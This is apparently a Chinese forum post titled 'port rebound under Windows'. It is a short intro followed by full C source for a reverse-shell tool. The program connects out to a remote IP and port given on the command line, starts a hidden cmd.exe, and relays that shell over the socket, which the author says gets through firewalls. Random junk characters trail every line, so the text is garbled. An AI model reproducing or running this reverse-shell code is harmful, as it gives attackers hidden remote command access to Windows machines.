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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 x7KcO0F{  
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/* ============================== ~X~xE]1o|U  
Rebound port in Windows NT 4C,kA+P  
By wind,2006/7 ^x_ >r6  
===============================*/ + U+aWk  
#include ~}$\B^z+  
#include ! v-w6WG"  
9 wSl,B-  
#pragma comment(lib,"wsock32.lib") @~$F;M=.*  
N#RD:"RS!  
void OutputShell(); @Xq&t}*8  
SOCKET sClient; nIV.9#~&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Evr2|4|O~  
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void main(int argc,char **argv) `jb0 +{08  
{ ERfd7V<c>  
WSADATA stWsaData; MfXt+c`r  
int nRet; qeQC&U y;  
SOCKADDR_IN stSaiClient,stSaiServer; FylWbQU9  
VD9 q5tt7  
if(argc != 3) |'U,/  
{ G *mO&:q  
printf("Useage:\n\rRebound DestIP DestPort\n"); C 'B4 mmC  
return; *D=K{bUe'  
} >vD['XN,  
A$9q!Ui#d  
WSAStartup(MAKEWORD(2,2),&stWsaData); '^Pq(b~  
@9_nwf~X4  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @@xO+$6  
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stSaiClient.sin_family = AF_INET; e Z@Gu  
stSaiClient.sin_port = htons(0); :kWZSN8.D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ; @ 7  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _-@ZOhw&  
{ F3r S6_  
printf("Bind Socket Failed!\n"); a);O3N/*I  
return; gf:vb*#Wa  
} qxf+#  
<)_:NRjBF&  
stSaiServer.sin_family = AF_INET; ltNuLZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'fS?xDs-v  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); a<f;\$h]  
pGY [f@_x-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @ \!KF*v  
{ ^D9 /  
printf("Connect Error!"); l*QIoRYFW  
return; pZu?V"R  
} D",A$(lG  
OutputShell(); &[NVP&9&U  
} Ezi' 2Sc  
(3AYy0J%  
void OutputShell() C@ FxB[  
{ zTkFX67)  
char szBuff[1024]; 'GrRuT<  
SECURITY_ATTRIBUTES stSecurityAttributes; .KFA218h*x  
OSVERSIONINFO stOsversionInfo; BD hLz  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n)tU9@4Np  
STARTUPINFO stStartupInfo; _mw13jcN]  
char *szShell; {GUb'J  
PROCESS_INFORMATION stProcessInformation; ''_,S,.a20  
unsigned long lBytesRead; 63.( j P1;  
*]FgfttES  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]9fS@SHdx  
_i-\mR_~  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %'$f ?y  
stSecurityAttributes.lpSecurityDescriptor = 0; DD2adu^  
stSecurityAttributes.bInheritHandle = TRUE; =nLO?qoe  
W5pn;u- sz  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /d[Mss  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <sa #|Y$  
aZP 2R"  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (viWY  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $6W3EOl  
stStartupInfo.wShowWindow = SW_HIDE; P2O\!'aEh  
stStartupInfo.hStdInput = hReadPipe; xf'LR[M  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Dq|GQdZ>o  
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GetVersionEx(&stOsversionInfo); VXiui'/(  
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switch(stOsversionInfo.dwPlatformId) '[%jjUU  
{ </,.K`''W  
case 1: :RHm*vt  
szShell = "command.com"; X|,["Az 8  
break;  +.=1^+a  
default: jg?bf/$s  
szShell = "cmd.exe"; ;r3}g"D@  
break; iZC>)&ax  
} \/n+j!  
UnP|]]o:I  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); emA.{cVr!  
3+ e4e  
send(sClient,szMsg,77,0); 3\1#eK'TK.  
while(1) I,]J=xi  
{ grc:Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iM"asEU  
if(lBytesRead) >G&^?5  
{ hzq5![/sV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z4bN)W )p  
send(sClient,szBuff,lBytesRead,0); pp<E))&R  
} cu)U7  
else X~Cq  
{ qIz}$%!A  
lBytesRead=recv(sClient,szBuff,1024,0); 0 k9<&  
if(lBytesRead<=0) break; p3 e|j  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f9a$$nb3`  
} S!`:E  
} a_MFQf&KV  
HAd%k$Xu{  
return; R#ya,L  
}
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